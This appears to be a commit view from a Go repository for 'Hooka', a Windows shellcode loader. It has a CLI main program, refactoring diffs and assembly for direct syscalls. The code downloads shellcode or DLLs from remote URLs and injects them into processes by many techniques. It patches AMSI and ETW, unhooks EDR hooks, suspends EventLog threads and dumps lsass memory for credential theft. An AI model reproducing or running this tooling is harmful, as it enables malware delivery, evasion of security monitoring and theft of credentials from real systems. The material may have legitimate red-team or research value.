l "github.com/D3Ext/maldev/logging"
)
var techniques []string = []string{"CreateRemoteThread", "CreateRemoteThreadHalos", "CreateProcess", "EnumSystemLocales", "EnumSystemLocalesHalos", "Fibers", "QueueUserApc", "UuidFromString", "EtwpCreateEtwThread", "RtlCreateUserThread", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"}
func main() {
var shellcode []byte
var err error
var sc_url string
var sc_file string
var dll_file string
var dll_url string
var technique string
var hook_detect bool
var unhook int
var base64_flag bool
var hex_flag bool
var test_flag bool
var amsi bool
var etw bool
var lsass string
var phantom bool
var pid int
l.PrintBanner("Hooka!")
l.Println(" by D3Ext - v0.1")
time.Sleep(100 * time.Millisecond)
flag.StringVar(&sc_url, "url", "", "remote url where shellcode is stored (e.g. http://192.168.1.37/shellcode.bin)")
flag.StringVar(&dll_url, "remote-dll", "", "remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)")
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
flag.StringVar(&technique, "t", "", "shellcode injection technique (default: 1):\n 1: CreateRemoteThread\n 2: CreateRemoteThreadHalos\n 3: CreateProcess\n 4: EnumSystemLocales\n 5: EnumSystemLocalesHalos\n 6: Fibers\n 7: QueueUserApc\n 8: UuidFromString\n 9: EtwpCreateEtwThread\n 10: RtlCreateUserThread (PID required)")
flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart")
flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
flag.BoolVar(&amsi, "amsi", false, "overwrite AmsiScanBuffer memory address to patch AMSI (Anti Malware Scan Interface)")
flag.BoolVar(&etw, "etw", false, "overwrite EtwEventWrite memory address to patch ETW (Event Tracing for Windows)")
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
flag.BoolVar(&phantom, "phantom", false, "use Phant0m technique to suspend EventLog threads (run with high privs)")
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
flag.StringVar(&lsass, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run with high privs)")
flag.IntVar(&pid, "pid", 0, "PID to inject shellcode into (only applies for certain techniques) (default: self)")
flag.Parse()
// Check if two main args were passed
var args_check int = 0
if sc_url != "" {
args_check += 1
}
if sc_file != "" {
args_check += 1
}
if dll_url != "" {
args_check += 1
}
if dll_file != "" {
args_check += 1
}
if test_flag {
args_check += 1
}
if hook_detect {
args_check += 1
}
if lsass != "" {
args_check += 1
}
if phantom {
args_check += 1
}
if args_check > 1 {
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use two main flags at the same time!\n")
os.Exit(0)
} else if args_check == 0 {
l.Println()
flag.PrintDefaults()
os.Exit(0)
}
// Check if two encoding methods were especified
var enc_check int
if base64_flag {
enc_check += 1
}
if hex_flag {
enc_check += 1
}
if enc_check > 1 {
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use base64 and hex encoding at the same time\n")
os.Exit(0)
}
if technique == "" {
technique = "CreateRemoteThread"
}
// Check invalid injection technique
var valid_t bool
for _, t := range techniques {
if strings.ToLower(t) == strings.ToLower(technique) {
valid_t = true
}
}
// Check if a required pid was especified
if (strings.ToLower(technique) == "rtlcreateuserthread") || (technique == "10") {
if pid == 0 {
l.Println("\n[-] Error: a PID is required to inject shellcode into with this injection technique\n")
os.Exit(0)
}
}
if valid_t == false {
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: invalid shellcode injection technique! See help panel\n")
os.Exit(0)
}
// Check unexpected values for unhooking flag
if (unhook != 1) && (unhook != 2) && (unhook != 3) && (unhook != 0) { // Check if user provided a non allowed value
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: invalid unhooking technique! 1=classic, 2=full, 3=Perun's Fart\n")
os.Exit(0)
}
// Main code starts here
if sc_url != "" {
time.Sleep(200 * time.Millisecond)
l.Println("\n[+] Remote shellcode URL: " + sc_url)
time.Sleep(200 * time.Millisecond)
if pid != 0 {
l.Println("[+] Target PID:", pid)
} else {
l.Println("[+] Target PID: self")
}
time.Sleep(200 * time.Millisecond)
// Check shellcode encoding flags
if base64_flag {
l.Println("[+] Shellcode encoding: base64")
} else if hex_flag {
l.Println("[+] Shellcode encoding: hex")
} else {
l.Println("[+] No encoding was especified")
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Retrieving shellcode from url...")
shellcode, err = hooka.GetShellcodeFromUrl(sc_url)
if err != nil { // Handle error
l.Println("[-] An error has occurred retrieving shellcode!")
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
if base64_flag { // Decode shellcode if necessary
l.Println("[*] Decoding shellcode...")
shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
} else if hex_flag {
l.Println("[*] Decoding shellcode...")
shellcode, err = hex.DecodeString(string(shellcode))
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
}
checkAmsi(amsi)
checkEtw(etw)
checkUnhook(unhook, strings.ToLower(technique))
time.Sleep(300 * time.Millisecond)
l.Println("[*] Injecting shellcode using " + technique + " technique")
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(100 * time.Millisecond)
l.Println("[+] Shellcode should be executed without errors!\n")
} else if sc_file != "" {
_, err := os.Stat(sc_file) // Check if file exists
if os.IsNotExist(err) {
l.Println("\n[-] Especified file doesn't exist!\n")
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
if pid != 0 {
l.Println("\n[+] Target PID:", pid)
} else {
l.Println("\n[+] Target PID: self")
}
time.Sleep(200 * time.Millisecond)
l.Println("\n[+] Shellcode file: " + sc_file)
time.Sleep(300 * time.Millisecond)
l.Println("[*] Getting shellcode from file...")
time.Sleep(300 * time.Millisecond)
shellcode, err = hooka.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes
if err != nil { // Handle error
l.Fatal(err)
}
if base64_flag { // Check shellcode encoding flags
l.Println("[+] Shellcode encoding: base64")
shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
if err != nil {
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Decoding shellcode")
time.Sleep(300 * time.Millisecond)
} else if hex_flag {
l.Println("[+] Shellcode encoding: hex")
shellcode, err = hex.DecodeString(string(shellcode))
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Decoding shellcode")
time.Sleep(300 * time.Millisecond)
} else {
l.Println("[+] No encoding was especified")
time.Sleep(300 * time.Millisecond)
}
checkAmsi(amsi)
checkEtw(etw)
checkUnhook(unhook, strings.ToLower(technique))
time.Sleep(300 * time.Millisecond)
l.Println("[*] Injecting shellcode using " + technique + " technique")
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(100 * time.Millisecond)
l.Println("[+] Shellcode should be executed without errors!\n")
} else if dll_file != "" {
var dll_filename string
var dll_func string
if strings.Contains(dll_file, ",") { // Check if a function was especified
dll_filename = strings.Split(dll_file, ",")[0] // Get DLL path
dll_func = strings.Split(dll_file, ",")[1] // Get DLL function to execute
} else {
dll_filename = dll_file
dll_func = ""
}
_, err := os.Stat(dll_filename) // Check if especified dll exists
if os.IsNotExist(err) {
l.Println("\n[-] Especified DLL doesn't exists!\n")
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
if pid != 0 {
l.Println("\n[+] Target PID:", pid)
} else {
l.Println("\n[+] Target PID: self")
}
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
l.Println("[+] DLL file: " + dll_filename)
time.Sleep(300 * time.Millisecond)
if dll_func != "" {
l.Println("[+] Function to execute: " + dll_func)
} else {
l.Println("[+] Function to execute: default")
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Converting " + dll_filename + " to shellcode")
shellcode, err := hooka.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[+] Process finished successfully!")
time.Sleep(200 * time.Millisecond)
checkAmsi(amsi)
checkEtw(etw)
checkUnhook(unhook, strings.ToLower(technique))
time.Sleep(300 * time.Millisecond)
l.Println("[*] Injecting shellcode using " + technique + " technique")
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(100 * time.Millisecond)
l.Println("[+] Shellcode should be executed without errors!\n")
} else if dll_url != "" {
var dll_func string
var dll_url string
if len(strings.Split(dll_url, ",")) >= 2 {
dll_func = strings.Split(dll_url, ",")[1]
dll_url = strings.Split(dll_url, ",")[0]
} else {
dll_func = ""
dll_url = strings.Split(dll_url, ",")[0]
}
if pid != 0 {
l.Println("\n[+] Target PID:", pid)
} else {
l.Println("\n[+] Target PID: self")
}
time.Sleep(200 * time.Millisecond)
if dll_func != "" {
l.Println("[+] Function to execute: " + dll_func)
} else {
l.Println("[+] Function to execute: default")
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Retrieving DLL from url...")
dll_bytes, err := hooka.GetShellcodeFromUrl(dll_url)
if err != nil { // Handle error
l.Println("[-] An error has occurred retrieving remote dll!")
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
if base64_flag { // Check shellcode encoding flags
l.Println("[+] Shellcode encoding: base64")
dll_bytes, err = base64.StdEncoding.DecodeString(string(dll_bytes))
if err != nil {
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Decoding shellcode...")
time.Sleep(300 * time.Millisecond)
} else if hex_flag {
l.Println("[+] Shellcode encoding: hex")
dll_bytes, err = hex.DecodeString(string(dll_bytes))
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Decoding shellcode...")
time.Sleep(300 * time.Millisecond)
} else {
l.Println("[+] No encoding was especified")
time.Sleep(300 * time.Millisecond)
}
l.Println("[*] Converting raw bytes to shellcode")
shellcode, err := hooka.ConvertDllBytesToShellcode(dll_bytes, dll_func, "") // Convert DLL to shellcode
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[+] DLL converted successfully!")
time.Sleep(200 * time.Millisecond)
checkAmsi(amsi)
checkEtw(etw)
checkUnhook(unhook, strings.ToLower(technique))
time.Sleep(300 * time.Millisecond)
l.Println("[*] Injecting DLL shellcode using " + technique + " technique")
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(200 * time.Millisecond)
l.Println("[+] Shellcode should be executed without errors!\n")
} else if hook_detect { // Enter here if --hooks flag was especified
l.Println("\n[*] Detecting hooked functions...")
all_hooks, err := hooka.DetectHooks() // Get all hooked functions
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Process finished")
if len(all_hooks) >= 1 { // Check if hooks array contains at least one function
time.Sleep(200 * time.Millisecond)
l.Println("[*] Hooked functions:\n")
for _, h := range all_hooks {
l.Println(h)
}
l.Println()
time.Sleep(200 * time.Millisecond)
} else {
time.Sleep(200 * time.Millisecond)
l.Println("[+] No function is hooked!\n")
time.Sleep(100 * time.Millisecond)
}
} else if test_flag {
l.Println("\n[*] Testing with calc.exe shellcode")
time.Sleep(200 * time.Millisecond)
checkAmsi(amsi)
checkEtw(etw)
checkUnhook(unhook, strings.ToLower(technique))
l.Println("[*] Injecting shellcode using " + technique + " technique")
err := hooka.Inject(hooka.CalcShellcode(), technique, pid) // Inject calc.exe shellcode
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Shellcode should be executed!\n")
} else if phantom {
l.Println("\n[*] Checking high privileges")
privs, err := hooka.CheckHighPrivs()
if err != nil {
l.Fatal(err)
}
time.Sleep(200 * time.Millisecond)
if privs == false {
l.Println("[-] Error: you need high privs to perform this operation!\n")
os.Exit(0)
}
l.Println("[*] Searching EventLog PID")
eventlog_pid, err := hooka.GetEventLogPid()
if err != nil {
l.Fatal(err)
}
time.Sleep(200 * time.Millisecond)
l.Println("[+] PID found:", int(eventlog_pid))
time.Sleep(200 * time.Millisecond)
l.Println("[*] Enabling SeDebugPrivilege...")
time.Sleep(200 * time.Millisecond)
l.Println("[*] Suspending EventLog threads")
err = hooka.Phant0mWithOutput(eventlog_pid)
if err != nil {
l.Fatal(err)
}
l.Println("[+] Threads killed successfully!\n")
} else if lsass != "" { // Enter here if --lsass flag was especified
if unhook == 1 {
l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected")
time.Sleep(200 * time.Millisecond)
err := hooka.ClassicUnhook([]string{"NtReadVirtualMemory"}, "C:\\Windows\\System32\\ntdll.dll")
if err != nil {
l.Fatal(err)
}
} else if unhook == 2 {
l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected")
time.Sleep(200 * time.Millisecond)
err := hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
if err != nil {
l.Println("[-] An error has occurred while unhooking functions!")
l.Fatal(err)
}
} else if unhook == 3 {
l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected")
time.Sleep(200 * time.Millisecond)
err := hooka.PerunsUnhook()
if err != nil {
l.Println("[-] An error has occurred while unhooking functions!")
l.Fatal(err)
}
}
checkAmsi(amsi)
checkEtw(etw)
l.Println("[*] Dumping lsass.exe process to " + lsass)
err := hooka.DumpLsass(lsass)
if err != nil { // Handle error
l.Println("[-] An error has occurred, ensure to be running as admin:")
e := os.Remove(lsass)
if e != nil {
l.Fatal(e)
}
l.Fatalln(err)
}
info, err := os.Stat(lsass)
if err != nil {
l.Fatalln(err)
}
l.Println("[*]", info.Size(), "bytes were written to file")
time.Sleep(100 * time.Millisecond)
l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials\n")
time.Sleep(100 * time.Millisecond)
}
}
func checkAmsi(check bool) {
if check {
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
time.Sleep(200 * time.Millisecond)
err := hooka.PatchAmsi()
if err != nil {
l.Println("[-] An error has occurred while overwriting memory!")
l.Fatal(err)
}
time.Sleep(200 * time.Millisecond)
}
}
func checkEtw(check bool) {
if check {
l.Println("[*] Patching ETW by overwriting some EtwEventWrite functions memory address...")
time.Sleep(200 * time.Millisecond)
err := hooka.PatchEtw()
if err != nil {
l.Println("[-] An error has occurred while overwriting memory!")
l.Fatal(err)
}
time.Sleep(200 * time.Millisecond)
}
}
func checkUnhook(unhook int, technique string) {
// Unhook function(s)
var funcs_to_unhook []string
var lib string
if unhook == 1 {
l.Println("[*] Unhooking functions via Classic technique...")
time.Sleep(200 * time.Millisecond)
if technique == "createtemotethread" {
funcs_to_unhook = []string{"CreateRemoteThreadEx"}
lib = "C:\\Windows\\System32\\ntdll.dll"
} else if technique == "createremotethreadhalos" {
funcs_to_unhook = []string{"NtCreateThreadEx", "NtAllocateVirtualMemory", "NtProtectVirtualMemory", "NtWriteVirtualMemory"}
lib = "C:\\Windows\\System32\\ntdll.dll"
} else if technique == "createprocess" {
funcs_to_unhook = []string{"NtQueryInformationProcess"}
} else if technique == "enumsystemlocales" {
funcs_to_unhook = []string{"RtlMoveMemory"}
lib = "C:\\Windows\\System32\\ntdll.dll"
} else if technique == "enumsystemlocaleshalos" {
funcs_to_unhook = []string{"NtAllocateVirtualMemory", "NtWriteVirtualMemory", "RtlMoveMemory"}
lib = "C:\\Windows\\System32\\ntdll.dll"
} else if technique == "queueuserapc" {
funcs_to_unhook = []string{"QueueUserAPC"}
lib = "C:\\Windows\\System32\\kernel32.dll"
} else if technique == "fibers" {
funcs_to_unhook = []string{"RtlCopyMemory"}
lib = "C:\\Windows\\System32\\ntdll.dll"
} else if technique == "uuidfromstring" {
funcs_to_unhook = []string{"UuidFromStringA"}
lib = "C:\\Windows\\System32\\Rpcrt4.dll"
} else if technique == "etwpcreateetwthread" {
funcs_to_unhook = []string{"RtlCopyMemory", "EtwpCreateEtwThread"}
lib = "C:\\Windows:\\System32\\ntdll.dll"
} else if technique == "rtlcreateuserthread" {
funcs_to_unhook = []string{"RtlCreateUserThread"}
lib = "C:\\Windows\\System32\\ntdll.dll"
}
err := hooka.ClassicUnhook(funcs_to_unhook, lib)
if err != nil {
l.Println("[-] An error has occurred while unhooking functions!")
l.Fatal(err)
}
l.Println("[+] Functions have been unhooked!")
} else if unhook == 2 {
l.Println("[*] Unhooking functions via Full Dll technique...")
time.Sleep(200 * time.Millisecond)
err := hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
if err != nil {
l.Println("[-] An error has occurred while unhooking functions!")
l.Fatal(err)
}
l.Println("[+] Functions have been unhooked!")
} else if unhook == 3 {
l.Println("[*] Unhooking functions via Perun's Fart technique...")
time.Sleep(200 * time.Millisecond)
err := hooka.PerunsUnhook()
if err != nil {
l.Println("[-] An error has occurred while unhooking functions!")
l.Fatal(err)
}
l.Println("[+] Functions have been unhooked!")
}
}
+2 -2
View File
@@ -1,9 +1,9 @@
package hooka
import (
"github.com/D3Ext/Hooka/core"
"github.com/D3Ext/Hooka/evasion"
)
func EnableACG() error {
return core.EnableACG()
return evasion.EnableACG()
}
+6 -2
View File
@@ -1,7 +1,11 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/evasion"
func PatchAmsi() error {
return core.PatchAmsi()
return evasion.PatchAmsi()
}
func PatchAmsi2() error {
return evasion.PatchAmsi2()
}
+7 -9
View File
@@ -1,23 +1,21 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/utils"
func GetShellcodeFromUrl(url string) ([]byte, error) {
return core.GetShellcodeFromUrl(url)
return utils.GetShellcodeFromUrl(url)
}
func GetShellcodeFromFile(file string) ([]byte, error) {
return core.GetShellcodeFromFile(file)
return utils.GetShellcodeFromFile(file)
}
func CalcShellcode() []byte {
return core.CalcShellcode()
}
func ElevateProcessToken() error {
return core.ElevateProcessToken()
return utils.CalcShellcode()
}
func CheckHighPrivs() (bool, error) {
return core.CheckHighPrivs()
return utils.CheckHighPrivs()
}
+14
View File
@@ -0,0 +1,14 @@
package hooka
import (
"github.com/D3Ext/Hooka/evasion"
)
func BlockDLLs() error {
return evasion.BlockDLLs()
}
func CreateProcessBlockDLLs(cmd string) error {
return evasion.CreateProcessBlockDLLs(cmd)
}
+3 -3
View File
@@ -1,11 +1,11 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/utils"
func ConvertDllToShellcode(dll_file string, dll_func string, func_args string) ([]byte, error) {
return core.ConvertDllToShellcode(dll_file, dll_func, func_args)
return utils.ConvertDllToShellcode(dll_file, dll_func, func_args)
}
func ConvertDllBytesToShellcode(dll_bytes []byte, dll_func string, func_args string) ([]byte, error) {
return core.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args)
return utils.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args)
}
+6 -2
View File
@@ -1,7 +1,11 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/evasion"
func PatchEtw() error {
return core.PatchEtw()
return evasion.PatchEtw()
}
func PatchEtw2() error {
return evasion.PatchEtw2()
}
+2 -5
View File
@@ -1,11 +1,8 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/evasion"
func GetSysId(funcname string) (uint16, error) {
return core.GetSysId(funcname)
return evasion.GetSysId(funcname)
}
func GetFuncPtr(funcname string) (uint64, error) {
return core.GetFuncPtr(funcname)
}
+26 -5
View File
@@ -1,11 +1,32 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import (
"github.com/D3Ext/Hooka/utils"
"github.com/D3Ext/Hooka/evasion"
"golang.org/x/sys/windows"
)
func FuncFromHash(hash string, dll string, hashing_func func(string) string) (uint16, string, error) {
return core.FuncFromHash(hash, dll, hashing_func)
func GetFuncPtr(hash string, dll string, hashing_func func(str string) string) (*windows.LazyProc, string, error) {
return evasion.GetFuncPtr(hash, dll, hashing_func)
}
func HalosFuncFromHash(hash string, hashing_func func(str string) string) (uint16, string, error) {
return core.HalosFuncFromHash(hash, hashing_func)
func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) {
return evasion.GetSysIdHash(hash, dll, hashing_func)
}
func GetSysIdHashHalos(hash string, hashing_func func(str string) string) (uint16, string, error) {
return evasion.GetSysIdHashHalos(hash, hashing_func)
}
func Md5(src string) string {
return utils.Md5(src)
}
func Sha1(src string) string {
return utils.Sha1(src)
}
func Sha256(src string) string {
return utils.Sha256(src)
}
+3 -3
View File
@@ -1,13 +1,13 @@
package hooka
import (
"github.com/D3Ext/Hooka/core"
"github.com/D3Ext/Hooka/evasion"
)
func DetectHooks() ([]string, error) {
return core.DetectHooks()
return evasion.DetectHooks()
}
func IsHooked(func_name string) (bool, error) {
return core.IsHooked(func_name)
return evasion.IsHooked(func_name)
}
+3 -3
View File
@@ -1,7 +1,7 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/evasion"
func DumpLsass(output string) error {
return core.DumpLsass(output)
func DumpLsass(output_file string) error {
return evasion.DumpLsass(output_file)
}
+5 -8
View File
@@ -1,15 +1,12 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/evasion"
func GetEventLogPid() (uint32, error) {
return core.GetEventLogPid()
func GetEventLogPid() (int, error) {
return evasion.GetEventLogPid()
}
func Phant0m(pid uint32) error {
return core.Phant0m(pid)
func Phant0m(eventlog_pid int) error {
return evasion.Phant0m(eventlog_pid)
}
func Phant0mWithOutput(pid uint32) error {
return core.Phant0mWithOutput(pid)
}
+11 -11
View File
@@ -1,39 +1,39 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/evasion"
func AutoCheck() error {
return core.AutoCheck()
func AutoCheck() (bool, error) {
return evasion.AutoCheck()
}
func CheckMemory() (bool, error) {
return core.CheckMemory()
return evasion.CheckMemory()
}
func CheckDisk() (bool, error) {
return core.CheckDisk()
return evasion.CheckDisk()
}
func CheckInternet() bool {
return core.CheckInternet()
return evasion.CheckInternet()
}
func CheckHostname() (bool, error) {
return core.CheckHostname()
return evasion.CheckHostname()
}
func CheckUsername() (bool, error) {
return core.CheckUsername()
return evasion.CheckUsername()
}
func CheckCpu() bool {
return core.CheckCpu()
return evasion.CheckCpu()
}
func CheckDrivers() bool {
return core.CheckDrivers()
return evasion.CheckDrivers()
}
func CheckProcess() (bool, error) {
return core.CheckProcess()
return evasion.CheckProcess()
}
+38 -20
View File
@@ -1,53 +1,71 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func Inject(shellcode []byte, technique string, pid int) error {
return core.Inject(shellcode, technique, pid)
}
func CreateRemoteThread(shellcode []byte, pid int) error {
return core.CreateRemoteThread(shellcode, pid)
}
import (
sc_pkg "github.com/D3Ext/Hooka/shellcode"
)
// use 0 as pid to self-inject
func CreateProcess(shellcode []byte, pid int) error {
return core.CreateProcess(shellcode, pid)
return sc_pkg.CreateProcess(shellcode, pid)
}
// use 0 as pid to self-inject
func CreateRemoteThread(shellcode []byte, pid int) error {
return sc_pkg.CreateRemoteThread(shellcode, pid)
}
func NtCreateThreadEx(shellcode []byte, pid int) error {
return sc_pkg.NtCreateThreadEx(shellcode, pid)
}
func ProcessHollowing(shellcode []byte, proc string, blockdlls bool) error {
return sc_pkg.ProcessHollowing(shellcode, proc, blockdlls)
}
func EnumSystemLocales(shellcode []byte) error {
return core.EnumSystemLocales(shellcode)
return sc_pkg.EnumSystemLocales(shellcode)
}
func Fibers(shellcode []byte) error {
return core.Fibers(shellcode)
return sc_pkg.Fibers(shellcode)
}
func QueueUserApc(shellcode []byte) error {
return core.QueueUserApc(shellcode)
return sc_pkg.QueueUserApc(shellcode)
}
func NtQueueApcThreadEx(shellcode []byte) error {
return sc_pkg.NtQueueApcThreadEx(shellcode)
}
func NoRWX(shellcode []byte) error {
return sc_pkg.NoRWX(shellcode)
}
func UuidFromString(shellcode []byte) error {
return core.UuidFromString(shellcode)
return sc_pkg.UuidFromString(shellcode)
}
func EtwpCreateEtwThread(shellcode []byte) error {
return core.EtwpCreateEtwThread(shellcode)
return sc_pkg.EtwpCreateEtwThread(shellcode)
}
func RtlCreateUserThread(shellcode []byte, pid int) error {
return core.RtlCreateUserThread(shellcode, pid)
return sc_pkg.RtlCreateUserThread(shellcode, pid)
}
/*
Hell's Gate + Halo's Gate functions (WIP)
Hell's Gate + Halo's Gate functions
*/
func CreateRemoteThreadHalos(shellcode []byte) error {
return core.CreateRemoteThreadHalos(shellcode)
func NtCreateThreadExHalos(shellcode []byte) error {
return sc_pkg.NtCreateThreadExHalos(shellcode)
}
func EnumSystemLocalesHalos(shellcode []byte) error {
return core.EnumSystemLocalesHalos(shellcode)
return sc_pkg.EnumSystemLocalesHalos(shellcode)
}
+8
View File
@@ -0,0 +1,8 @@
package hooka
import "github.com/D3Ext/Hooka/evasion"
func Sleep() {
evasion.Sleep()
}
+2 -8
View File
@@ -1,15 +1,9 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/evasion"
func Syscall(callid uint16, argh ...uintptr) (uint32, error) {
return core.Syscall(callid, argh...)
return evasion.Syscall(callid, argh...)
}
func Execute(shellcode []byte) error {
return core.Execute(shellcode)
}
func WriteMemory(inbuf []byte, destination uintptr) {
core.WriteMemory(inbuf, destination)
}
+7 -5
View File
@@ -1,15 +1,17 @@
package hooka
import "github.com/D3Ext/Hooka/core"
import "github.com/D3Ext/Hooka/evasion"
func ClassicUnhook(funcnames []string, dllpath string) error {
return core.ClassicUnhook(funcnames, dllpath)
return evasion.ClassicUnhook(funcnames, dllpath)
}
func FullUnhook(dllpath string) error {
return core.FullUnhook(dllpath)
// unhook especified DLLs (provide full paths)
func FullUnhook(dlls_to_unhook []string) error {
return evasion.FullUnhook(dlls_to_unhook)
}
// unhook ntdll.dll
func PerunsUnhook() error {
return core.PerunsUnhook()
return evasion.PerunsUnhook()
}
+112
View File
@@ -0,0 +1,112 @@
//func GetNtdllStart() uintptr
TEXT ·GetNtdllStart(SB), $0-16
//All operations push values into AX
//PEB
MOVQ 0x60(GS), AX
//PEB->LDR
MOVQ 0x18(AX),AX
//LDR->InMemoryOrderModuleList
MOVQ 0x20(AX),AX
//Flink (get next element)
MOVQ (AX),AX
//Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
//_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
MOVQ 0x20(AX),CX
MOVQ CX, start+0(FP)
MOVQ 0x30(AX),CX
MOVQ CX, size+8(FP)
RET
//func getModuleLoadedOrder(i int) (start uintptr, size uintptr)
TEXT ·getMLO(SB), $0-32
//All operations push values into AX
//PEB
MOVQ 0x60(GS), AX
//PEB->LDR
MOVQ 0x18(AX),AX
//LDR->InMemoryOrderModuleList
MOVQ 0x20(AX),AX
//loop things
XORQ R10,R10
startloop:
CMPQ R10,i+0(FP)
JE endloop
//Flink (get next element)
MOVQ (AX),AX
INCQ R10
JMP startloop
endloop:
//Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
//_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
MOVQ 0x20(AX),CX
MOVQ CX, start+8(FP)
MOVQ 0x30(AX),CX
MOVQ CX, size+16(FP)
MOVQ AX,CX
ADDQ $0x38,CX
MOVQ CX, modulepath+24(FP)
//SYSCALL
RET
//based on https://golang.org/src/runtime/sys_windows_amd64.s
#define maxargs 16
//func Syscall(callid uint16, argh ...uintptr) (uint32, error)
TEXT ·bpSyscall(SB), $0-56
XORQ AX,AX
MOVW callid+0(FP), AX
PUSHQ CX
//put variadic size into CX
MOVQ argh_len+16(FP),CX
//put variadic pointer into SI
MOVQ argh_base+8(FP),SI
// SetLastError(0).
MOVQ 0x30(GS), DI
MOVL $0, 0x68(DI)
SUBQ $(maxargs*8), SP // room for args
// Fast version, do not store args on the stack.
CMPL CX, $4
JLE loadregs
// Check we have enough room for args.
CMPL CX, $maxargs
JLE 2(PC)
INT $3 // not enough room -> crash
// Copy args to the stack.
MOVQ SP, DI
CLD
REP; MOVSQ
MOVQ SP, SI
loadregs:
//move the stack pointer????? why????
SUBQ $8, SP
// Load first 4 args into correspondent registers.
MOVQ 0(SI), CX
MOVQ 8(SI), DX
MOVQ 16(SI), R8
MOVQ 24(SI), R9
// Floating point arguments are passed in the XMM
// registers. Set them here in case any of the arguments
// are floating point values. For details see
// https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
MOVQ CX, X0
MOVQ DX, X1
MOVQ R8, X2
MOVQ R9, X3
//MOVW callid+0(FP), AX
MOVQ CX, R10
SYSCALL
ADDQ $((maxargs+1)*8), SP
// Return result.
POPQ CX
MOVL AX, errcode+32(FP)
RET
@@ -1,4 +1,4 @@
package core
package shellcode
/*
+78
View File
@@ -0,0 +1,78 @@
package shellcode
import (
"errors"
"unsafe"
"golang.org/x/sys/windows"
)
func CreateRemoteThread(shellcode []byte, pid int) error {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
